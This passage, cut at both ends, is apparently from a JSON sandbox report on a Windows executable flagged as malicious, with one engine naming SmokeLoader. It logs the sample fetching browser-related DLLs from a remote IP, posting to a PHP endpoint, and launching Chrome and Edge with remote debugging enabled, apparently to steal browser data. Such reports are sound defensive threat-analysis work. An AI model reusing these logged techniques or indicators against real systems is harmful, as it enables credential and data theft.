ype":"sandbox"}],"verdict":"undetected"},{"name":"GIIIECBGDHJJKFIDAKJD","sha256":"42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"msvcp140_1_.dll","sha256":"5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"softokn3_1_.dll","sha256":"74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"FCBAECGI","sha256":"24c698a7988e951219931c98807b5a1e65d2746ab07aa521d6bcc89e14818e45","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"GIJJKKJJDAAAAAKFHJJDGDAFBA","sha256":"dcbf13bb10e2680331097a289b14a86edea1a3a3155cd354e07c93c4cdb65c6f","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"mozglue.dll","sha256":"ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"msvcp140.dll","sha256":"5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"json_1_.json","sha256":"3df0c945fae593559674dae29ec7169629a25bcd744a60c4a8fed894b595107f","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"freebl3_1_.dll","sha256":"edd043f2005dbd5902fc421eabb9472a7266950c5cbaca34e2d590b17d12f5fa","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"vcruntime140_1_.dll","sha256":"8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"IIJDBGDG","sha256":"1858bc2fe5f501c02080c5700b2a518388ad088fe45b813150a9ba124be647b5","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"KEBGHCBAEGDHIDGCBAECGIECGH","sha256":"227f88fea68415375925e54980f793b8d19fefcfe48ad62984951e7c4e4758a5","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"chrome.dll","sha256":"81a4f37c5495800b7cc46aea6535d9180dadb5c151db6f1fd1968d1cd8c1eeb4","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"freebl3.dll","sha256":"edd043f2005dbd5902fc421eabb9472a7266950c5cbaca34e2d590b17d12f5fa","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"softokn3.dll","sha256":"74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"vcruntime140.dll","sha256":"8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"CAFIEBKKJJDAKFHIDBFH","sha256":"18efa23e6f119c7de8d22371ad7e9f85fa0a438e8562e5703300245a56891bba","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"nss3_1_.dll","sha256":"ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"mozglue_1_.dll","sha256":"ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"}],"files_deleted":[],"files_written":[{"path":"%ALLUSERSPROFILE%\\GIIIECBGDHJJKFIDAKJD","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"path":"%ALLUSERSPROFILE%\\IIJDBGDG","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\9SSPAW46\\65EQ3A95.htm","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"path":"%ALLUSERSPROFILE%\\chrome.dll","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\History","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\json[1].json","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]}]},"mutex_activity":{"mutex_created":[{"name":"SM0:1720:168:WilStaging_02","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"name":"Local\\SM0:1720:168:WilStaging_02","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"name":"SM0:1720:64:WilError_01","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]}]},"network_activity":{"contacted_hosts":[{"address":"95.215.204.131","country":"Ukraine","port":80,"protocol":"TCP","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"address":"142.250.80.99","country":"United States","port":443,"protocol":"TCP","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"address":"142.251.167.84","country":"United States","port":443,"protocol":"TCP","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"address":"142.250.65.196","country":"United States","port":443,"protocol":"UDP","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"address":"142.251.40.99","country":"United States","port":443,"protocol":"UDP","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]}],"dns_resolutions":[{"address":"142.251.40.99","country":"United States","domain":"www.gstatic.com","registrar_creation_date":"2008-02-11T00:00:00+00:00","registrar_name":"MarkMonitor, Inc.","registrar_name_servers":"NS1.GOOGLE.COM","registrar_organization":"Google Inc.","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"ttl":300},{"address":"142.251.167.84","country":"United States","domain":"accounts.google.com","registrar_creation_date":"1997-09-15T00:00:00+00:00","registrar_name":"MarkMonitor, Inc.","registrar_name_servers":"NS1.GOOGLE.COM","registrar_organization":"Google Inc.","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"ttl":300},{"address":"142.250.80.99","country":"United States","domain":"clientservices.googleapis.com","registrar_creation_date":"2005-01-25T00:00:00+00:00","registrar_name":"MarkMonitor, Inc.","registrar_name_servers":"NS1.GOOGLE.COM","registrar_organization":"Google Inc.","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"ttl":300},{"address":"142.250.65.196","country":"United States","domain":"www.google.com","registrar_creation_date":"1997-09-15T00:00:00+00:00","registrar_name":"MarkMonitor, Inc.","registrar_name_servers":"NS1.GOOGLE.COM","registrar_organization":"Google Inc.","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"ttl":60}],"http_requests":[{"header":"GET /9c4ff1f7c1a7004e/mozglue.dll HTTP/1.1\nHost: 95.215.204.131\nCache-Control: no-cache","host":"95.215.204.131","host_ip":"95.215.204.131:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"url":"/9c4ff1f7c1a7004e/mozglue.dll"},{"header":"GET /9c4ff1f7c1a7004e/vcruntime140.dll HTTP/1.1\nHost: 95.215.204.131\nCache-Control: no-cache","host":"95.215.204.131","host_ip":"95.215.204.131:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"url":"/9c4ff1f7c1a7004e/vcruntime140.dll"},{"header":"GET / HTTP/1.1\nHost: 95.215.204.131\nConnection: Keep-Alive\nCache-Control: no-cache","host":"95.215.204.131","host_ip":"95.215.204.131:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"url":"/"},{"header":"POST /f0592db368f6bb51.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGH\nHost: 95.215.204.131\nContent-Length: 216\nConnection: Keep-Alive\nCache-Control: no-cache","host":"95.215.204.131","host_ip":"95.215.204.131:80","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"url":"/f0592db368f6bb51.php"},{"header":"GET /9c4ff1f7c1a7004e/sqlite3.dll HTTP/1.1\nHost: 95.215.204.131\nCache-Control: no-cache","host":"95.215.204.131","host_ip":"95.215.204.131:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"url":"/9c4ff1f7c1a7004e/sqlite3.dll"},{"header":"GET /9c4ff1f7c1a7004e/freebl3.dll HTTP/1.1\nHost: 95.215.204.131\nCache-Control: no-cache","host":"95.215.204.131","host_ip":"95.215.204.131:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"url":"/9c4ff1f7c1a7004e/freebl3.dll"},{"header":"GET /9c4ff1f7c1a7004e/msvcp140.dll HTTP/1.1\nHost: 95.215.204.131\nCache-Control: no-cache","host":"95.215.204.131","host_ip":"95.215.204.131:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"url":"/9c4ff1f7c1a7004e/msvcp140.dll"},{"header":"GET /9c4ff1f7c1a7004e/nss3.dll HTTP/1.1\nHost: 95.215.204.131\nCache-Control: no-cache","host":"95.215.204.131","host_ip":"95.215.204.131:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"url":"/9c4ff1f7c1a7004e/nss3.dll"},{"header":"GET /9c4ff1f7c1a7004e/softokn3.dll HTTP/1.1\nHost: 95.215.204.131\nCache-Control: no-cache","host":"95.215.204.131","host_ip":"95.215.204.131:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"url":"/9c4ff1f7c1a7004e/softokn3.dll"}]},"process_activity":{"all_imported_dlls":["ffmpeg.dll","mscms.dll","Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll","setupapi.dll","gdi32.dll","Windows.Web.dll","dcomp.dll","mozglue.dll","WindowsCodecs.dll","RTWorkQ.dll","crypt32.dll","Windows.Security.Authentication.Web.Core.dll","MMDevAPI.dll","rpcrt4.dll","sechost.dll","wlanapi.dll","wkscli.dll","DataExchange.dll","OneCoreUAPCommonProxyStub.dll","dxva2.dll","shell32.dll","dhcpcsvc.dll","fwbase.dll","dxcompiler.dll","fltLib.dll","imm32.dll","powrprof.dll","version.dll","kernel32.dll","OnDemandConnRouteHelper.dll","windows.storage.dll","userenv.dll","d3d11.dll","libEGL.dll","msctf.dll","win32u.dll","fwpolicyiomgr.dll","comctl32.dll","vcruntime140.dll","vaultcli.dll","user32.dll","ole32.dll","TextInputFramework.dll","wldp.dll","msIso.dll","bcrypt.dll","atlthunk.dll","oleacc.dll","bcryptprimitives.dll","OneCoreCommonProxyStub.dll","Windows.UI.dll","ntdll.dll","dxgi.dll","urlmon.dll","sxs.dll","DWrite.dll","oleaut32.dll","ncrypt.dll","msasn1.dll","msvcrt.dll","FWPUCLNT.DLL","edputil.dll","KernelBase.dll","ws2_32.dll","GdiPlus.dll","netapi32.dll","mfperfhelper.dll","VxSSL32.dll","winhttp.dll","Windows.System.UserProfile.DiagnosticsSettings.dll","CoreMessaging.dll","shlwapi.dll","cfgmgr32.dll","Windows.Media.dll","dpapi.dll","wininet.dll","nss3.dll","twinapi.dll","msmpeg2vdec.dll","ExplorerFrame.dll","nlaapi.dll","mfsensorgroup.dll","combase.dll","gpapi.dll","CompPkgSup.dll","rsaenh.dll","CoreUIComponents.dll","secur32.dll","iertutil.dll","wsock32.dll","d3dcompiler_47.dll","winmmbase.dll","dmcmnutils.dll","winsta.dll","mswsock.dll","ResourcePolicyClient.dll","psapi.dll","mf.dll","rasadhlp.dll","rmclient.dll","WofUtil.dll","DolbyDecMFT.dll","vk_swiftshader.dll","msedge.dll","twinapi.appcore.dll","winnsi.dll","netutils.dll","wintrust.dll","dwmapi.dll","dxil.dll","propsys.dll","msvproc.dll","IPHLPAPI.DLL","imagehlp.dll","dbghelp.dll","UIAutomationCore.dll","KBDUS.DLL","FirewallAPI.dll","msvcp_win.dll","dhcpcsvc6.dll","cryptnet.dll","SHCore.dll","actxprxy.dll","msvcp140.dll","cryptbase.dll","wow64cpu.dll","kernel.appcore.dll","dnsapi.dll","msimg32.dll","ntmarta.dll","sspicli.dll","clbcatq.dll","msvcp110_win.dll","profapi.dll","uxtheme.dll","npmproxy.dll","msvcr100.dll","netprofm.dll","wtsapi32.dll","wow64.dll","msedge_elf.dll","directmanipulation.dll","RstrtMgr.dll","nsi.dll","WinTypes.dll","devobj.dll","microsoft_apis.dll","vulkan-1.dll","apphelp.dll","ucrtbase.dll","cryptsp.dll","ntasn1.dll","gdi32full.dll","winmm.dll","dsreg.dll","libGLESv2.dll","wow64win.dll","chrome_elf.dll","advapi32.dll","chrome.dll","mfplat.dll"],"processes":[{"command_line":"","icon":"$22","name":"bf3bc85903e812ff6a136924bf8ab376.exe","normalized_path":"C:\\bf3bc85903e812ff6a136924bf8ab376.exe","pid":1720,"ppid":0,"sha256":"37222fe99f47c55ca76c875be5e4b58a1ca2cc0dcb46af000969dc6638f83f20","uid":"00000000-00001720"},{"command_line":"--remote-debugging-port=9229 --profile-directory=\"Default\"","name":"chrome.exe","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00001720","pid":196,"ppid":1720,"sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","uid":"00000000-00000196"},{"command_line":"--type=crashpad-handler \"--user-data-dir=%LOCALAPPDATA%\\Google\\Chrome\\User Data\" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler \"--database=%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Crashpad\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=122.0.6261.112 --initial-client-data=0xb0,0xb4,0xb8,0x8c,0xbc,0x7ffc83afdc40,0x7ffc83afdc4c,0x7ffc83afdc58","name":"chrome.exe","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00000196","pid":6756,"ppid":196,"sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","uid":"00000000-00006756"},{"command_line":"--type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1800 --field-trial-handle=1804,i,3658485405475757640,16305501053933898535,262144 --variations-seed-version=20240307-180129.405000 /prefetch:2","name":"chrome.exe","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00000196","pid":7000,"ppid":196,"sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","uid":"00000000-00007000"},{"command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=2820 --field-trial-handle=1804,i,3658485405475757640,16305501053933898535,262144 --variations-seed-version=20240307-180129.405000 /prefetch:3","name":"chrome.exe","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00000196","pid":6260,"ppid":196,"sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","uid":"00000000-00006260"},{"command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=3048 --field-trial-handle=1804,i,3658485405475757640,16305501053933898535,262144 --variations-seed-version=20240307-180129.405000 /prefetch:8","name":"chrome.exe","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00000196","pid":7420,"ppid":196,"sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","uid":"00000000-00007420"},{"command_line":"--type=renderer --enable-chrome-cart --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1730969227603157 --launch-time-ticks=2839444746 --mojo-platform-channel-handle=3864 --field-trial-handle=1804,i,3658485405475757640,16305501053933898535,262144 --variations-seed-version=20240307-180129.405000 /prefetch:1","name":"chrome.exe","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00000196","pid":7728,"ppid":196,"sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","uid":"00000000-00007728"},{"command_line":"--type=renderer --enable-chrome-cart --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1730969227603157 --launch-time-ticks=2839655832 --mojo-platform-channel-handle=4008 --field-trial-handle=1804,i,3658485405475757640,16305501053933898535,262144 --variations-seed-version=20240307-180129.405000 /prefetch:1","name":"chrome.exe","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00000196","pid":4512,"ppid":196,"sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","uid":"00000000-00004512"},{"command_line":"--type=renderer --enable-chrome-cart --no-appcompat-clear --remote-debugging-port=9229 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --time-ticks-at-unix-epoch=-1730969227603157 --launch-time-ticks=2840185159 --mojo-platform-channel-handle=4204 --field-trial-handle=1804,i,3658485405475757640,16305501053933898535,262144 --variations-seed-version=20240307-180129.405000 /prefetch:1","name":"chrome.exe","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00000196","pid":6444,"ppid":196,"sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","uid":"00000000-00006444"},{"command_line":"--type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=4416 --field-trial-handle=1804,i,3658485405475757640,16305501053933898535,262144 --variations-seed-version=20240307-180129.405000 /prefetch:8","name":"chrome.exe","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00000196","pid":4112,"ppid":196,"sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","uid":"00000000-00004112"},{"command_line":"--type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=4548 --field-trial-handle=1804,i,3658485405475757640,16305501053933898535,262144 --variations-seed-version=20240307-180129.405000 /prefetch:8","name":"chrome.exe","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00000196","pid":7660,"ppid":196,"sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","uid":"00000000-00007660"},{"command_line":"--remote-debugging-port=9229 --profile-directory=\"Default\"","name":"msedge.exe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00001720","pid":4516,"ppid":1720,"sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","uid":"00000000-00004516"},{"command_line":"--type=crashpad-handler \"--user-data-dir=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Crashpad\" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=107.0.5304.110 \"--annotation=exe=%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --annotation=plat=Win64 \"--annotation=prod=Microsoft Edge\" --annotation=ver=107.0.1418.56 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0x158,0x7ffc83afb208,0x7ffc83afb218,0x7ffc83afb228","name":"msedge.exe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004516","pid":3556,"ppid":4516,"sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","uid":"00000000-00003556"},{"command_line":"--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1804 --field-trial-handle=2228,i,15248646870539357281,16932251896039988245,131072 /prefetch:2","name":"msedge.exe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004516","pid":5000,"ppid":4516,"sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","uid":"00000000-00005000"},{"command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1900 --field-trial-handle=2228,i,15248646870539357281,16932251896039988245,131072 /prefetch:3","name":"msedge.exe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004516","pid":6460,"ppid":4516,"sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","uid":"00000000-00006460"},{"command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1980 --field-trial-handle=2228,i,15248646870539357281,16932251896039988245,131072 /prefetch:8","name":"msedge.exe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004516","pid":3916,"ppid":4516,"sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","uid":"00000000-00003916"},{"command_line":"--type=renderer --display-capture-permissions-policy-allowed --js-flags=--ms-user-locale= --first-renderer-process --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1730969232393651 --launch-time-ticks=2845694925 --mojo-platform-channel-handle=2988 --field-trial-handle=2228,i,15248646870539357281,16932251896039988245,131072 /prefetch:1","name":"msedge.exe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004516","pid":7052,"ppid":4516,"sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","uid":"00000000-00007052"},{"command_line":"--type=renderer --instant-process --display-capture-permissions-policy-allowed --js-flags=--ms-user-locale= --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1730969232393651 --launch-time-ticks=2846158264 --mojo-platform-channel-handle=2996 --field-trial-handle=2228,i,15248646870539357281,16932251896039988245,131072 /prefetch:1","name":"msedge.exe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004516","pid":7360,"ppid":4516,"sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","uid":"00000000-00007360"},{"command_line":"--type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3384 --field-trial-handle=2228,i,15248646870539357281,16932251896039988245,131072 /prefetch:8","name":"msedge.exe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004516","pid":6804,"ppid":4516,"sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","uid":"00000000-00006804"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},"registry_activity":{"keys_created":[],"keys_deleted":[],"keys_modified":[]},"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"analysis_start_time":"2024-11-07T01:33:48+00:00","contacted_countries":["UKR","USA"],"environment_description":"Windows 10 64 bit","environment_id":160,"id":"672c18fbf521efbe2e06a315","indicators_count":{"informative":180,"malicious":8,"suspicious":58},"is_in_unified_schema":true,"state":"SUCCESS","submit_name":"bf3bc85903e812ff6a136924bf8ab376.exe","tags":["Network Traffic","Extracted Files"],"threat_score":100,"verdict":"malicious"}],"stats":{"contacted_hosts_count":5,"contacted_urls_count":9,"dns_resolutions_count":4,"dropped_files_count":0,"embedded_domains_count":0,"embedded_ips_count":0,"embedded_urls_count":0,"extracted_files_count":22,"files_deleted_count":0,"files_written_count":11,"http_requests_count":9,"imported_dlls_count":161,"injected_processes_count":0,"mutex_created_count":5,"process_count":19,"registry_keys_created_count":0,"registry_keys_deleted_count":0,"registry_keys_modified_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"script_calls_count":0,"spawned_processes_count":19}},"all_analysis_status":{"fastscan_status":"SUCCESS","qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS"},"detections":{"attributions":{"malware_families":[{"sources":[{"report_id":"","report_type":"quickscan"}],"value":"Win/malicious_confidence_100%"}]},"av_detections":{"engines":{"ahnlab":{"data_source":"MetaDefender","name":"AhnLab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan/Win.SmokeLoader","verdict":"malicious"},"antiy":{"data_source":"MetaDefender","name":"Antiy","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"avira":{"data_source":"MetaDefender","name":"Avira","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"bitdefender":{"data_source":"MetaDefender","name":"Bitdefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"clamav":{"data_source":"MetaDefender","name":"ClamAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Win.Packer.pkr_ce1a-9980177-0","verdict":"malicious"},"cmc":{"data_source":"MetaDefender","name":"CMC","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"comodo":{"data_source":"MetaDefender","name":"Comodo","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetec